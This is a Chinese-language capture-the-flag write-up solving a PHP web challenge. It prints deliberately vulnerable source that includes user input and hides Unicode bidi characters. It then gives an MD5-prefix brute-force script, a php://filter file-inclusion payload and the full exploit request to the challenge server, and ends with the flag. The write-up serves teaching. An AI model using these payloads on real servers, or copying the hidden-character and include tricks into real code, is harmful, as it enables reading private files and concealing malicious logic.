<?php
error_reporting(0);
show_source(__FILE__);
$guess = $_POST['guess'];
$data = (array)json_decode(@$_GET['data']);
if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2')
if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &+!!& "he Flag!ctf" == $_GET[LAGhectf]) //flag in flag.php
include $data['arr'][0];
else
die("Try hard!");
else
die("Try hard!");
-
error_reporting(0);
:这行代码将错误报告级别设置为0,即禁用错误报告。 -
show_source(__FILE__);
:此函数用于显示当前文件的源代码。这可能是为了让程序员查看代码以进行调试或了解代码的工作原理。 -
$guess = $_POST['guess'];
:将$_POST['guess']
的值赋给变量$guess
。$_POST
是一个包含通过HTTP POST方法发送的变量和值的关联数组。 -
$data = (array)json_decode(@$_GET['data']);
:这行代码将$_GET['data']
的值解码为JSON格式,并将其转换为数组。$_GET
是一个包含通过URL查询字符串发送的变量和值的关联数组。 -
if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2')
:使用md5
哈希函数将$guess
的值转换为MD5哈希,并检查前27个字符是否与给定的值匹配。 -
if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &+!!& "he Flag!ctf" == $_GET[LAGhectf])
:这是一个复杂的条件语句。首先,它检查$data['aaa']
的值是否不等于666,并且$data['aaa']
的整数值是否等于666。接下来,它检查字符串"he Flag!ctf"是否等于$_GET[LAGhectf]
。请注意,此条件中的一些字符似乎是反向的,这可能是一种试图绕过字符串匹配检查的技巧。 -
include $data['arr'][0];
:如果前面的条件都满足,将包含$data['arr'][0]
中指定的文件。这意味着该代码片段将根据特定条件包含其他代码文件。 -
else
:如果前面的条件不满足,则执行以下代码块。 -
die("Try hard!");
:这行代码将输出"Try hard!"并终止执行,显示该消息给用户。
首先传一个guess,按要求要md5加密后被截断前27个要与之匹配,这里网上找个脚本
from multiprocessing.dummy import Pool as tp
import hashlib
print("请输入md5截断内容")
x=input()
knownMd5 = x
print("请输入截断起始位置")
a=int(input())
print("请输入截断终止位置")
b=int(input())
print("爆破结果为:")
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[a:b] == knownMd5:
print (code)
break
list=[]
for i in range(3): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
得出guess=39985
然后传入一个data,以json形势传入,传入后变成数组
同时最后有一个include可以读取到data里的数组按照读取的形势我们可以判断出这是个二维数组。
我们构造data.
data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}
最关键的点来了,我们拖动鼠标标记hectf我们会发现后面也会被一起选中。于是我们知道这里有点东西。我们把代码复制然后粘贴到文本文档里,我们会发现出现了乱码。于是我们这里用到010Editor来查看代码,转化成Hex。
我们选中双引号里的hectf 复制左边的hex码,然后2个字符前加一个%。这就是我们要传入get请求的数据
%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66
选中中括号里的hectf同理,这就是我们要做的get请求
%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66
http://43.143.172.74:4002/?data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66=%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66
guess=39985
得出答案PD9waHAgDQogICAgJGZsYWcgPSAiSEVDVEZ7anNvbl93ZWFrcGhwfSI7
base64解码后
<?php
$flag = "HECTF{json_weakphp}";